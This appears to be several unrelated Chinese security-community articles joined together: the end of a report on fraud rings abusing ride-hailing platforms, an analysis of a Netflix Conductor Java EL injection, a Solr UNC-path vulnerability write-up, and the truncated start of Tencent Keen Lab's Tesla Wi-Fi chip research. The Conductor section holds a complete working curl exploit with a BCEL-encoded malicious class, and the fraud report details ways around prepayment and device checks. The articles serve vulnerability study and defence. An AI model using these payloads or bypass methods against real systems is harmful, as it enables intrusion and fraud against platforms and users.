接码平台项目分为公开对接和专属对接两类，随着政策的管控，平台存活周期变短，接码平台的号码质量也逐渐变差，公开对接的号码大多为N手号码，虚商号段及流量卡号码较多，黑产很难在各家出行平台获利，但仍能够在风控体系薄弱的平台赚的盆满钵满。
「某出行对接项目取号」
专属对接和线下对接是黑产首选的手机号资源，成本较公开对接卡贵，多为新卡，但省去了新老号检测这一步，可快速提升获利速度。
「某出行对接项目在线卡数量」
目前，市面上活跃的接码平台有近百个，而这些平台部分可通过搜索引擎直接搜索到，更多的则通过云盘的形式传播，通过QQ群、土豆群、电报群、黑产论坛、发卡平台等平台布局，链接上游卡商及下游开发者、羊毛党，将号码资源的价值发挥到极致。
「“首次”相关群」
除接码平台和线下对接外，近两年出现的拦截黑卡也被用于黑灰产项目，据我们观察，此类数据也通过API的形式下放，提供给下游黑产用于注册、营销等场景，涉及平台包括抖音、淘宝、拼多多等。
### 3.设备资源
模拟器、云手机、群控设备是黑产常用的设备资源，便于批量化操作，可达到一定的规模。市面上的模拟器已经较成熟，功能丰富，支持修改机型、模拟定位、多开系统等功能，成本低，符合黑产的作案要求。而很多平台对于模拟器、云手机的容忍度较高，这也纵容了黑产的作恶行为，吸引更多的羊毛党加入黑产大军。目前黑产使用较多的有：雷电模拟器、逍遥模拟器等。
「雷电模拟器」
云手机也是黑产常用的作案工具，很多平台在设备维度的检测很难追赶上市面上黑产工具的迭代速度，黑产在旧版本应用上屡试不爽。目前比较常见的云手机有红手指、多多云等。
「红手指」
群控也是黑产常用的手段，二手交易平台、QQ群、土豆群、电报群、发卡平台等媒介均可购买设备及群控管理工具，功能丰富，注册养号拉新等场景均可使用，满足各大工作室及个体户的需求。
「某群控平台」
而在黑产论坛上，也可发现免费的群控系统，或付费的定制化群控系统，满足不同群体黑产团伙的需求。
「黑产论坛群控相关帖子」
### 4.工具资源
黑产通常使用多开、改机工具、虚拟定位等工具绕过设备维度的风险识别，相关的黑产工具资源也非常稳定。
多开软件可在设备中实现分身功能，便于黑产注册账号在诸多场景中获利。目前多开类应用主要分为三类，一类是通过修改Framework，常见的系统自带分身如小米分身、华为分身，此外还可通过修改APK、虚拟化技术实现等方式进行多开，如幻*分身、大*助手。
如下图所示，黑产利用多开分身制作多个曹*出行分身接码登录打车。目前市面上的主流多开软件自带模拟机型、虚拟定位等功能，伪造一个新设备，以绕过各家平台的检测。
「利用多开分身制作曹*出行分身」
目前iOS端主要为软改工具，如市面上传播度较广的爱伪装、igrimace、佐罗等，具备伪装设备越狱状态、可修改核心设备参数绕过设备恢复逻辑实现一键新机等功能，而如天下游、任我行等iOS端的虚拟定位软件，可实现修改定位功能。
「zorro改机」
Android主要为硬改和软改，软改通常修改的是应用层的数据，通过HOOK的方式篡改数据，硬改将相关硬件参数直接写入内存地址达到修改设备参数的目的。目前市面上流行的安卓端的改机类工具比较多，如抹机王、XX抹机神器、微霸改机、Magisk等。
「抹机王」
虚拟定位类软件，市面上常见的大多数都是基于xposed二次开发的，需要配合其他工具一起使用，如改机工具、代理应用。
### 5.其他资源
很多出行平台需要经过实名、绑卡、认证等环节才能进行打车、拉新等操作，这时需要购买相应的数据以绕过风控，而相应数据的买卖也已经是成熟的产业链，可通过社交软件、发卡平台出售，也可通过众包平台真人作弊以达到相应的目的。
下图为某社交平台公开售卖料子信息的聊天截图。
「某社交平台料子交易聊天截图」
而有些数据依托于发卡平台交易，如海外信用卡，其黑话为“毛c”，这些黑话很难从字面上去理解其含义，需要根据数据特征去判断，这也是业务情报团队监控时的难点。
「发卡平台料子交易」
对于滴*出行、曹*出行这种可绑定支付宝账号进行免密支付的平台，可通过购买支付宝账号进行预支付绕过，此类第三方账号的买卖也是非常成熟的产业链。
「发卡平台支付宝账号交易」
## 五、出行行业典型黑产工具分析
针对出行行业的软件自动化程度较低，自动化软件通常集中在拉新助力、注册囤号等场景中，下单支付等场景需要实名、绑卡等操作，很难自动化。目前自动化的软件通常利用平台H5的注册或活动接口，使用易语言或AndroLua进行开发，工具运行平台通常为Windows或Android。
1.工具一：花*猪V1.2.vmp.exe
花*猪近期推出了拉新活动，用户通过邀请新用户可获取现金奖励，单个人头2元，可直接微信到账。此外，还可通过邀请用户助力获取优惠券。
其拉新活动及助力活动通过微信小程序和微信朋友圈传播，也通过微信朋友圈广告C位出道，覆盖度及传播度广泛，以惊人的速度碾压其他出行平台，成为黑产的攻击目标。
「花*猪自动软件运行界面」
黑产通过开发自动化工具，集成接码平台、打码平台、代理平台，自动化接码注册邀新助力获利。工具中集成的接码平台有：番茄、叮咚、蓝狐、飞猪、可乐、海豚等付费接码平台，通过API调用获取号码。此类工具可自动化批量操作，实现虚假注册拉新提现。
对于平台而言，此类注册用户非真实用户，存在较高风险，这些虚假用户后续可能被用于参与其他营销助力活动，或绕过预支付打车，直接导致平台的坏账率高居不下。
2.工具二：枫*出行v1.0.1.exe
枫*出行推出的邀新注册活动，参与者可分享拉新，平台根据用户邀请排名获得iPhone、苹果笔记本等实物奖品。
「枫*出行拉新活动注册界面」
此活动很快就被黑产团伙关注，并快速开发出自动化邀新工具，集成接码平台、打码平台、代理IP，参与注册拉新排名活动，用于获取实物奖励。
「枫*出行自动软件运行界面」
该工具与工具一相似，不同之处为枫*出行的活动链接可直接通过微信分享，mobileShare参数是邀请人手机号唯一标识，无需抓包。工具内置的接码平台有乖码、番茄、万众、马大帅、有信，截止当前部分平台已无法访问。
我们通过其发布的注册分享赢大奖推送文章来看，一等奖用户邀新数量高达7121个，人脉广泛，猜测其邀新好友大多使用165、167等虚商号段。
「枫*出行一等奖用户截图」
3.DD小程序囤号接口.apk
黑产通过抓包获取滴*小程序的接口，集成开发到apk中，接码注册、领券囤号。此软件我们此前分析过，可利用指定接口领券，批量注册的虚假账号可用于二手交易平台及社交平台发布代叫服务。
「DD小程序囤号接口运行界面」
其利用接口如下，由于平台风控限制，需绑卡、实名、预付等操作，此程序只能用来助力、囤号，而无法用于进一步的代叫打车。
https://g******y.xi*********ji.com/gulfstream/activity/v3
/giftpackage/index?g_channel=9fc9fc331****5fb57822c60f559b6
&account_id=108*423&lang=zh-CN&odid=bdss_p*007966
&bd_vid=11511564*20145233&adx=16&source_channel=1*53
## 六、出行行业攻击方式
随着平台的严防，黑产也在不断迭代自己的攻击手法，注册囤号只是整个产业链的初期准备阶段，核心为利用虚假账号打车代叫获利，本章我们将针对近期的黑产打车教程进行简要分析。
### 1.利用低版本应用作案
大多平台的低版本设备指纹sdk风险检测都可被绕过，曹*出行也存在同样的问题。黑产利用低版本无法检测特定多开软件的漏洞，绕过设备维度的多开识别，在真实设备或模拟器中多开低版本应用，清除数据，通过伪造定位的方式获取指定区域的优惠券用于自用或代叫获利。除设备维度的检测存在问题外，部分平台的低版本应用无需绑卡或第三方支付渠道，可直接打车，这也是黑产轻松获利的原因。
「曹*出行分身」
而在此案例中，曹*出行的对接卡价格通常为2.5元左右，多开软件、虚拟定位可使用免费或破解版本，目前二手交易平台上曹*出行的代叫车价格通常为预估价的3-4折。如预估价格为50元的形成，代叫价格为15元，成本价3元左右，可净赚12元。除曹*出行外，多个平台都存在同样的问题。
### 2.绑定海外信用卡绕过预支付
目前，各大出行平台均需绑定银行卡或第三方支付渠道才能进行打车，而滴*打车是目前为数不多支持国际信用卡免密支付的平台。国际信用卡的绑定与国内银行卡绑定不同，国际信用卡只需填写卡号、有效期和安全码(CVV)，验证其有效性即可，其他信息并没有进行校验，这也导致了很多黑产依托于此数据绑卡打车进行非法交易。
「海外信用卡绑定」
根据黑产团伙在发卡平台发布的商品来看，国际信用卡可零成本制作，138元即可解锁无限技巧，对于想长期囤号打车的黑产来说，多开应用，绑定海外信用卡，免费打车可一劳永逸。
「发卡平台截图」
### 3.利用业务漏洞绕过预支付
业务漏洞绕过预支付的案例比较多，常见的有低版本注册高版本打车绕过、出行方式由快车切换至多种车型绕过、切换城市点击叫车返回所在地打车绕过、微信授权打车后取消授权重打、洗号打车等种种手段，核心均为业务逻辑及策略存在薄弱点，给黑产以可乘之机。
以某个版本的高*地图打车为例，接码登录后，只选择经济车、不勾选滴滴快车则可以直接打车，无需绑定支付宝、微信、银行卡等支付渠道。
「高*地图截图」
小程序端，以某出行平台为例，接码打出租车。司机接单后与司机沟通暂不用车，承诺五星好评，让司机协助确认。在五星好评的诱惑下，司机通常会协助操作，这个时候首单检测的逻辑就被绕过了，可直接打快车。此前，我们也专门写文章分享过出行行业打车洗号的现象。
## 七、出行行业攻击成本
对于黑产来说，能够获利才是最终的目的，投入与产出需达到某个平衡点才值得花时间和人力作案。针对出行行业的攻击成本，我们粗略统计了相关的资源成本价格，可供参考。
「攻击成本统计」
成本的叠加并不能真实体现黑产的投入成本，真实成本需要考虑实际的黑产使用场景。IP、号码、料子等资源为必备资源，设备资源为可复用资源，而考虑到不同平台的攻击手法不同，设备资源与工具资源组合使用的方法不同，相应攻击成本体现为一个价格区间，而非一个固定值。
## 八、出行行业黑产变化趋势
### 1\. 从公开接码到线下对接
随着国内监管部门的严控及各家平台风控体系的逐渐成熟，能够用于公开接码的号码资源越来越少，逐渐转移到线下API对接或线下对接。走线下对接的号码的输出形式通常为脱敏形式，使用者需要根据COM号和在发卡平台购买的号码的末尾的3~5位数字自行匹配。对于业务方，该数据黑话较多，业务场景难以确定，此类数据很难作为业务防控的外部数据补充。
「对接项目截图」
### 2\. 自动化工具与真人作弊相结合
前文提到，自动化工具应用场景多为拉新、助力等营销场景，自动化程度高，此外，黑产还会通过在众包平台发布注册、助力任务的形式作案，用以牟取暴利。对于甲方业务团队，真人作弊的数据很难与真实用户进行区分，众包平台为黑产提供的廉价温床让黑产尝尽了甜头。
「花*猪众包任务」
新型众包平台用于提供接口给开发者/羊毛党使用，这类方式和传统众包平台相比是2.0升级版本，攻击更快更便捷。黑产只需在此平台充值，选择项目或添加项目，根据API操作即可完成自动化部分，对比传统众包平台优势明显。
「新型众包平台」
其便捷性吸引了越来越多的黑产利用新型众包平台提供的API集成原有的自动化软件参与拉新、助力营销。除前段时间提及的*鸭外，此类平台的数量开始逐步上升，真人作弊产业链也逐渐趋于自动化，这也给了黑产团伙更多的选择空间，其获利所需时间正在逐渐变短。
「花*猪任务截图」
### 3\. 黑产目标渠道逐渐转向小程序端
随着微信、支付宝小程序的崛起，平台投放渠道也从移动端转移到小程序端，便于C端用户进行传播。随之而来的业务问题也很明显，小程序端设备指纹封闭性较强，所采集的设备字段有限，相较于移动端更容易突破注册门槛，易形成自动化链路。从近期捕获的工具样本及情报数据来看，黑产针对出行平台的自动化攻击已逐渐转移到小程序端，批量注册、拉新、助力等半自动化、自动化软件全部依托于H5接口。从新型众包平台的崛起可侧面印证黑产攻击趋势。
### 4\. 业务逻辑漏洞仍为黑产的攻击点
目前针对出行行业的攻击，主要为业务逻辑上存在的漏洞，如前文中所介绍的切换车型绕过等。每当甲方团队针对单点业务漏洞作出规则调整或策略优化，黑产仍会从各个方面作出尝试，以最终达到获利的目的。
## 九、出行行业防控建议
针对出行行业当前的业务现状及风控防控现状，我们提出以下三个防控建议：
### 1.外部情报布控
针对黑产日新月异的作案手法，单纯从内部业务数据分析是很难发现新型攻击方式的。对于黑产逐渐趋于成熟的资源体系，我们建议对线报平台、众包平台、接码平台、发卡平台等外部情报源进行长期监控，从黑产的数据源入手，提前掌握黑产动向，第一时间调整线上防控策略，及时止损。而设备维度，对于云手机、模拟器、改机工具等更新，应建立预警机制，及时跟进形成业务闭环，防患于未然。
### 2.内部数据分析
建立健全内部业务数据分析监控预警，从设备维度、业务数据维度、账号维度等多视角入手，根据不同业务场景及风险场景，针对性设计异常的数据监控指标，能够及时发现异常，优化现有策略及检测规则。对于存在高风险的低版本应用及小程序端，加强数据分析及指标建设投入，降低风险系数。
### 3.业务流程梳理
对于当前业务布局的渠道及平台，梳理其完整业务流程，排查全流程存在的业务漏洞及可疑风险。对于低版本应用及小程序端，着重梳理其业务流程，引导用户安装新版本。在认证环节增加实名及人脸识别等流程，提升黑产作案成本。绑卡环节及授权环节，对于可无限制作的国际信用卡支付渠道，加强个人实名力度。
## 十、附录:黑话&术语
线报平台：为羊毛党提供最新薅羊毛、赚钱活动的信息平台。
接码平台：用于接收手机验证码的平台。
发卡平台：提供虚拟软件、卡密、数据等资源的自动交易平台。
打码平台：用于自动化识别验证码的平台。
众包平台：用于链接上游发布任务及下游真人作弊的平台。
新型众包平台：提供接口给开发者/羊毛党使用的真人作弊平台，涉及到第三方账号的授权。
料子：公民个人相关信息，涉及姓名、身份证、银行卡、手机号等数据。
毛c：国际信用卡，可用于账号绑定及交易。
卡商：提供手机号资源的供应商。 | 社区文章 |
## 漏洞通告
<https://github.com/Netflix/security-bulletins/blob/master/advisories/nflx-2020-001.md>
Netflix Conductor是 Netflix
开发的一款工作流编排的引擎，项目地址：<https://github.com/Netflix/conductor>
，本次漏洞成因在于自定义约束冲突时的错误信息支持了 Java EL 表达式，而且这部分错误信息是攻击者可控的，所以攻击者可以通过注入 Java EL
表达式进行任意代码执行。
## 漏洞分析
根据通告的漏洞描述，可以看到漏洞问题出在对 `buildConstraintViolationWithTemplate` 函数的不当使用上，和今年的另一个
CVE-2020-10199，Nexus Repository Manager RCE 的成因相同。
> ###### Description:
>
> Netflix Conductor uses Java Bean Validation (JSR 380) custom constraint
> validators. When building custom constraint violation error messages,
> different types of interpolation are supported, including Java EL
> expressions. If an attacker can inject arbitrary data in the error message
> template being passed to
> ConstraintValidatorContext.buildConstraintViolationWithTemplate() argument,
> they will be able to run arbitrary Java code.
对该代码进行全局搜索，可以看到 `TaskTimeoutConstraint.java` 使用了该函数，且函数参数是利用
`String.format(0)` 生成的格式化字符串，格式化过程中存在用户可控的变量。
下一步继续关注 `TaskTimeoutConstraint.java` 在哪被使用，通过 Intellij 的引用搜索，定位到
common/src/main/java/com/netflix/conductor/common/metadata/tasks/TaskDef.java
文件：
可以看到 `TaskTimeoutConstraint` 注解到了 `TaskDef` 类上，那么下一步进行看 `TaskDef`
类会在哪里被使用，继续搜索全局引用，可以看到
jersey/src/main/java/com/netflix/conductor/server/resources/MetadataResource.java
会
把该类和路由 `/api/metadata/taskdefs` 绑定，即我们通过请求该路由，即可获得 `TaskDef` 对象。
/*省略注释*/
package com.netflix.conductor.server.resources;
import ...
/**
* @author Viren
*/
@Api(value = "/metadata", produces = MediaType.APPLICATION_JSON, consumes = MediaType.APPLICATION_JSON, tags = "Metadata Management")
@Path("/metadata")
@Produces({MediaType.APPLICATION_JSON})
@Consumes({MediaType.APPLICATION_JSON})
public class MetadataResource {
private final MetadataService metadataService;
@Inject
public MetadataResource(MetadataService metadataService) {
this.metadataService = metadataService;
}
@POST
@Path("/taskdefs")
@ApiOperation("Create new task definition(s)")
public void registerTaskDef(List<TaskDef> taskDefs) {
metadataService.registerTaskDef(taskDefs);
}
@PUT
@Path("/taskdefs")
@ApiOperation("Update an existing task")
public void registerTaskDef(TaskDef taskDef) {
metadataService.updateTaskDef(taskDef);
}
@GET
@Path("/taskdefs")
@ApiOperation("Gets all task definition")
@Consumes(MediaType.WILDCARD)
public List<TaskDef> getTaskDefs() {
return metadataService.getTaskDefs();
}
// 省略无关代码
}
阅读目录下的相关文档 docs/docs/labs/beginner.md，可以知道如何访问该 api：
curl -X POST \
http://localhost:8080/api/metadata/taskdefs \
-H 'Content-Type: application/json' \
-d '[
{
"name": "verify_if_idents_are_added",
"retryCount": 3,
"retryLogic": "FIXED",
"retryDelaySeconds": 10,
"timeoutSeconds": 300,
"timeoutPolicy": "TIME_OUT_WF",
"responseTimeoutSeconds": 180
},
{
"name": "add_idents",
"retryCount": 3,
"retryLogic": "FIXED",
"retryDelaySeconds": 10,
"timeoutSeconds": 300,
"timeoutPolicy": "TIME_OUT_WF",
"responseTimeoutSeconds": 180
}
]'
所以漏洞最终的利用逻辑如下：
1. 通过 POST 请求访问 URL `/api/metadata/taskdefs` 创建 `TaskDef` 对象
2. 由于我们构造的参数中的 `timeoutSeconds` 和 `responseTimeoutSeconds` 满足了 `taskDef.getTimeoutSeconds() > 0` 以及 `taskDef.getResponseTimeoutSeconds() > taskDef.getTimeoutSeconds()` 这两个条件，`TaskTimeoutValidator` 校验失败，`TaskDef` 的 `name` 属性作为错误信息的一部分通过 `buildConstraintViolationWithTemplate(0)` 输出
3. 由于 `name` 是我们构造好的 Java EL 表达式，所以最后该表达式会被执行，进而成功触发远程代码执行
## 漏洞利用
### 环境构建
# 下载源码
git clone https://github.com/Netflix/conductor.git
cd conductor
# 切换到存在漏洞的分支
git checkout v2.25.0
# 启动 docker
cd docker
docker-compose up -d
正常运行后效果如下图：
### RCE
这里利用 `com.sun.org.apache.bcel.internal.util.ClassLoader`
加载我们构造好的恶意类的方式来触发远程执行。
其中恶意构造好的 java 类代码如下：
public class Evil {
public Evil() {
try {
Runtime.getRuntime().exec("touch /tmp/pwned");
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
}
}
将恶意构造的 class 文件通过 bcel 编码后作为参数，构造出 EL 表达式，作为 `name` 属性的值：
curl --location --request POST 'http://localhost:8080/api/metadata/taskdefs' \
--header 'Content-Type: application/json' \
--data-raw '[{
"name": "${'\'' '\''.getClass().forName('\''com.sun.org.apache.bcel.internal.util.ClassLoader'\'').newInstance().loadClass('\''$$BCEL$$$l$8b$I$A$A$A$A$A$A$Am$91$cdN$c2$40$U$85$cf$94J$b1$W$a9$u$u$f8$af$LQ$T$d9$b8$c3$b81$b8$c2$9f$I$d1$85$hK$99$e0$m$b4M$j$d07r$cd$G$8d$L$l$c0$87R$ef$8c$89$98h$93$b93$f7$dcs$bf$9b$99$be$7f$bc$be$B$d8$c7$a6$8d$U$e6l$e4$90Oa$5e$ed$L$W$K6$sP$b4$b0ha$89$ny$m$C$n$P$Z$S$a5$edK$G$f3$ulq$86LM$E$fc$b4$dfk$f2$b8$e15$bb$a4$a4$eb$d2$f3$efN$bcH$e7$ba$bb$40$f6$9e$t$C$86$7c$e9$ba$d6$f1$G$5e$b9$eb$F$edr$5d$c6$ohW$U$ce$ae$87$fd$d8$e7$c7B$n$s$ab$D$d1$ddS$3e$H$93$b0$z$y$3bX$c1$w$83$x$c3$be$7f$bbV$96$bd$a8$i$3d$E$bc$e5$60$N$eb$M$b3cf$f5$d1$e7$91$Ua$e0$60$D6$NV$y$ea$i$3b$ce$9a$j$eeK$86$99$b1t$d1$P$a4$e8$d1d$bb$cd$e5O$92$xm$d7$fex$w$84$e4$8f$dcg$d8$w$fds$95_$d2y$i$fa$fc$fe$9e$g2$R$V$a5$7e$97F$ec$f9$i$eb$b0$e8$bd$d5g$80$a9$xR$9c$a2$ec$86r$83$f6$fc$ce3$d8$L$8clb$E$f3$ea$J$a9$da$ee$I$c9$n$b9L$a4$e1$d2o1$e0$90$af$88$a4f$98Z$b7te$86$b4$i$d1$d3Tqa$7cR$60$W$a6U$c8$984$cb$r$c7$f7$b4$C$z$a6$d6P$l$U0$a9$F$87bV$83g$bf$AU$b9$Sh$o$C$A$A'\'').newInstance().class}",
"ownerEmail": "[email protected]",
"retryCount": 3,
"timeoutSeconds": 1200,
"inputKeys": [
"sourceRequestId",
"qcElementType"
],
"outputKeys": [
"state",
"skipped",
"result"
],
"timeoutPolicy": "TIME_OUT_WF",
"retryLogic": "FIXED",
"retryDelaySeconds": 600,
"responseTimeoutSeconds": 3600,
"concurrentExecLimit": 100,
"rateLimitFrequencyInSeconds": 60,
"rateLimitPerFrequency": 50,
"isolationgroupId": "myIsolationGroupId"
}]'
进入 docker 后可以看到成功触发 RCE：
## 漏洞修复
根据漏洞相关的 pull requests：<https://github.com/Netflix/conductor/pull/1543>
可以定位对该漏洞的修复：
开发者将 `org.hibernate:hibernate-validator` 替换为了 `org.apache.bval:bval-jsr`，而后者在最新版本下不会解析 Java EL 表达式，所以也不会有 RCE 的危险。
## 参考链接
* [GHSL-2020-027: Server-Side Template Injection in Netflix Conductor](https://securitylab.github.com/advisories/GHSL-2020-027-netflix-conductor) | 社区文章 |
## 前言
之前在zsxq看到有师傅发solr的洞：[CVE-2021-44548](https://nvd.nist.gov/vuln/detail/CVE-2021-44548)，今天看了一下，但是好像危害不大，不过还是以学习为主看一波
> 描述：
> Apache Solr 的 DataImportHandler 中的一个不正确的输入验证漏洞允许攻击者提供 Windows UNC 路径，导致从
> Solr 主机向网络上的另一台主机进行 SMB 网络调用。
<https://solr.apache.org/security.html#cve-2021-44548-apache-solr-information-disclosure-vulnerability-through-dataimporthandler>
<https://issues.apache.org/jira/browse/SOLR-15826>
## 影响版本
version < 8.11.1（windows）
## 环境搭建
下载[solr-8.11.0](https://archive.apache.org/dist/lucene/solr/8.11.0/solr-8.11.0.zip)
然后bin目录下
./solr.cmd start -p 8983 -f -a "-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8988 "
然后这里需要创建一个SolrCore（需要命令行创建!）
./solr.cmd create_core -c core1
然后在`solr-8.11.0\dist`目录中
wget https://mirror.shileizcc.com/Solr/mysql-connector-java-5.1.42-bin.jar
wget https://mirror.shileizcc.com/Solr/solr-dataimporthandler-7.3.1.jar
wget https://mirror.shileizcc.com/Solr/solr-dataimporthandler-extras-7.3.1.jar
在`solr-8.11.0\server\solr\core1\conf\solrconfig.xml`中添加`DataImportHandler`路由
<requestHandler name="/dataimport" class="org.apache.solr.handler.dataimport.DataImportHandler">
<lst name="defaults">
<str name="config">data-config.xml</str>
</lst>
</requestHandler>
<lib dir="D:\临时\Apache_Solr\solr-8.11.0\dist/" regex="mysql-connector-java-5.1.42-bin.jar" />
<lib dir="D:\临时\Apache_Solr\solr-8.11.0\contrib/dataimporthandler/lib" regex=".*\.jar" />
<lib dir="D:\临时\Apache_Solr\solr-8.11.0\contrib/dataimporthandler-extras/lib" regex=".*\.jar" />
<lib dir="D:\临时\Apache_Solr\solr-8.11.0\dist/" regex="solr-dataimporthandler.*\.jar" />
重启solr即可
## 漏洞分析
这里补丁判断了resource是否开头为`\\`
再看一下描述
所以这个漏洞就是通过resource为`\\ip`，然后solr就回去请求该unc路径造成信息泄露什么的
然后下一步找触发点
在dataimport这里可以看到能加载data-config.xml
点一下reload，看一下请求路由
[http://localhost:8983/solr/core1/dataimport?_=1640242938294&command=reload-config&indent=on&wt=json](http://localhost:8983/solr/core1/dataimport?_=1640242938294&command=reload-config&indent=on&wt=json)
可以发现处理请求的地方在`DataImportHandler#handleRequestBody`
其实这个地方根据之前写的`solrconfig.xml`也能看到
这里发现如果传入的`command=show-config`并且传入`config`不为空则有一个`openResource`操作，且参数可控
跟入`solr-core-8.11.0.jar!\org\apache\solr\core\SolrResourceLoader.openResource`
这里的342行
`this.getInstancePath()`得到的路径为`D:\Apache_Solr\solr-8.11.0\server\solr\core1`
再执行`resolve("conf")`变成，`D:\Apache_Solr\solr-8.11.0\server\solr\core1\conf`
再执行`resolve(resource)`时，这里的WindowsPathType变成了UNC
resolve逻辑判断WindowsPathType是否为绝对路径或UNC路径，是则直接返回参数
所以只要resource以`\\`开头就能使`inConfigDir`完全可控，在`Files.exists`中就会去请求windows的unc路径，这里用dnslog代替了
本来想试一下能不能任意文件读，但是这里会处理`..`然后判断开头是否为SolrCore的路径，所以只能读SolrCore下的文件，要么就开启`-Dsolr.allow.unsafe.resourceloading=true`
`http://localhost:8983/solr/core1/dataimport?command=show-config&config=\\xxx\xxx`
太菜了不知道怎么扩大危害 | 社区文章 |
**作者：腾讯科恩实验室
公众号：<https://mp.weixin.qq.com/s/rULdN3wVKyR3GlGBhunpoQ>**
在过去的两年里，腾讯科恩实验室对特斯拉汽车的安全性进行了深入的研究并在Black Hat 2017与Black Hat
2018安全会议上两次公开分享了我们的研究成果。我们的研究成果覆盖了车载系统的多个组件。我们展示了如何攻入到特斯拉汽车的CID、IC、网关以及自动驾驶模块。这一过程利用了内核、浏览器、MCU固件、UDS协议及OTA更新过程中的多个漏洞。值得注意的是，最近我们在自动驾驶模块上做了一些有趣的工作。我们分析了自动雨刷和车道识别功能的具体实现细节并且在真实的世界中对其中的缺陷进行了攻击尝试。
为了更深入的了解特斯拉车载系统的安全性，我们研究了无线功能模块（Model
S上的Parrot模块）并在其中找到了两个漏洞。一个存在于无线芯片固件当中，另一个存在于无线芯片驱动当中。通过组合这两个漏洞，攻击者可以在Parrot模块的Linux系统当中执行任意命令。
本文会揭示这两个漏洞的细节并介绍漏洞的利用过程来证明这两个漏洞是可以被攻击者用来通过无线协议远程攻入到特斯拉车载系统当中的。
## Parrot 模块
Tesla Model
S上的Parrot模块是一个第三方模块，型号是FC6050W，它集成了无线及蓝牙功能。Parrot通过USB协议与CID相连。Parrot运行着Linux系统并使用了USB
Ethernet gadget，因此Parrot与CID在USB协议基础之上实现了以太网连接。当Tesla Model
S连接到无线网络时，实际上Parrot模块连接到该无线网络中。这时，网络流量被Parrot从CID路由到外部网络。
从一份公开的资料[1]中，我们找到了Parrot模块的硬件组成。
Parrot模块的引脚定义也在这份datasheet中。Linux系统的shell可以通过Debug UART引脚得到。
其中的reset引脚连到到CID的GPIO上，因此CID有能力通过下列命令重置整个Parrot模块
echo 1 \> /sys/class/gpio/gpio171/valuesleep 1echo 0 \> /sys/class/gpio/gpio171/value
## Marvell 无线芯片
Marvell
88W8688是一款低成本、低功耗、高度集成的支持IEEE802.11a/g/bMAC/基带/射频集无线和蓝牙于一体的基带/射频系统级芯片[2]。
Marvell官方网站[3]提供了一份该芯片的设计框图。
Marvell 88W8688包含了一个嵌入式高性能Marvell Ferocean ARM9处理器。通过修改固件，我们获得了Main
ID寄存器中的数值0x11101556，据此推断88W8688使用的处理器型号可能是Feroceon 88FR101 rev
1。在Parrot模块上，Marvell 88w8688芯片通过SDIO接口与主机系统相连。
Marvell 88W8688的内存区域如下：
## 芯片固件
固件的下载过程包含两个阶段。首先是辅助固件”sd8688_helper.bin”的下载，然后是主固件”sd8688.bin”的下载。辅助固件负责下载主固件及验证主固件中每个数据块是否正确。主固件中包含了很多的数据块，每个块的结构定义如下。
struct fw_chunk { int chunk_type; int addr; unsigned int length; unsigned int crc32; unsigned char [1];} __packed;
88w8688固件的运行基于ThreadX实时操作系统，该实时操作系统多用于嵌入式设备。ThreadX的代码存在于ROM内存区域，因此固件”sd8688.bin”实际上作为ThreadX的应用运行。
在特斯拉上，固件”sd8688.bin”的版本ID是”sd8688-B1, RF868X, FP44,
13.44.1.p49”,本文的所有研究均基于此版本。
在逆向识别出所有的ThreadX API之后，各个任务的信息便可以得到。
同时，内存池的相关信息也可以得到。
## 日志及调试
芯片固件没有实现Data Abort、Prefetch
Abort、Undefine和SWI等CPU异常向量的处理过程。这意味着，固件崩溃后处理器会停止工作。我们不知道固件在哪里因何崩溃。
所以我们修改了固件，并自己实现了这些异常处理过程。这些处理过程会记录固件崩溃时的一些寄存器信息，包括通用寄存器，系统模式及中断模式下的状态寄存器和链接寄存器。通过这种方式，我们可以知道崩溃时系统模式或中断模式下的一些寄存器信息。
我们将这些寄存器信息写到末使用的内存区域，例如0x52100~0x5FFFF。这样，这些信息在芯片重置后仍然可以被读取。
在实现了undefine异常处理过程及修改一些指令为undefine指令后，我们可以在固件运行时获取或设置寄存器的内容。用这种方式，我们可以调试固件。
将新的固件下载到芯片中运行，可在内核驱动中发送命令HostCmd_CMD_SOFT_RESET到芯片。随后芯片会重置，新的固件会下载。
## 固件中的漏洞
88w8688芯片支持802.11e WMM (Wi-Fi Multimedia)协议。在这个协议中，STA会通过Action帧来发送ADDTS
request给其他设备。请求中包含有TSPEC信息。然后其他设备同样通过Action帧返回ADDTS response。下面是该Action帧的具体格式。
ADDTS的整个过程如下：当系统想要发送ADDTS请求时，内核驱动会发送HostCmd_CMD_WMM_ADDTS_REQ命令给芯片，然后芯片将ADDTS请求通过无线协议发送出去。当芯片收到ADDTS
response后，将该回复信息去掉Action帧头部复制到HostCmd_CMD_WMM_ADDTS_REQ结构体，作为ADDTS_REQ命令的结果在HostCmd_DS_COMMAND结构体中返回给内核驱动。内核驱动来实际处理ADDTS
response。
struct _HostCmd_DS_COMMAND{ u16 Command; u16 Size; u16 SeqNum; u16 Result; union { HostCmd_DS_GET_HW_SPEC hwspec; HostCmd_CMD_WMM_ADDTS_REQ; //……. }}
漏洞存在于将ADDTS
response复制到HostCmd_CMD_WMM_ADDTS_REQ结构体的过程中。函数wlan_handle_WMM_ADDTS_response在复制时，需要复制的长度为Action帧的长度减去4字节Action帧头部。如果Action帧只有头部且长度为3。那么复制时的长度会变为0xffffffff。这样，内存将会被完全破坏，导致稳定的崩溃。
## 驱动中的漏洞
在芯片与驱动之间，有三种数据包类型通过SDIO接口传递，MV_TYPE_DATA, MV_TYPE_CMD和
MV_TYPE_EVENT。其定义可在源码中找到。
命令处理的过程大致如下。驱动接收到用户态程序如ck5050、wpa_supplicant发来的指令，在函数wlan_prepare_cmd()中初始化HostCmd_DS_COMMAND结构体，该函数的最后一个参数pdata_buf指向与命令有关的结构，函数wlan_process_cmdresp()负责处理芯片返回的结果并将相关信息复制到pdata_buf指向的结构中。
intwlan_prepare_cmd(wlan_private * priv, u16 cmd_no, u16 cmd_action, u16 wait_option, WLAN_OID cmd_oid, void *pdata_buf);
漏洞存在于函数wlan_process_cmdresp()处理HostCmd_CMD_GET_MEM的过程中。函数wlan_process_cmdresp()没有检查HostCmd_DS_COMMAND结构体中的成员size的大小是否合法。因此在把HostCmd_DS_COMMAND结构中的数据复制到其他位置时发生了内存溢出。
## 芯片内代码执行
很显然，固件中的漏洞是一个堆溢出。为了利用这个漏洞实现芯片内代码执行，我们需要知道memcpy()函数是怎样破坏内存的，以及芯片是怎样崩溃的，在哪里崩溃的。
为了触发这个漏洞，action帧头部的长度应该小于4。同时我们需要在Action帧中提供正确的dialog
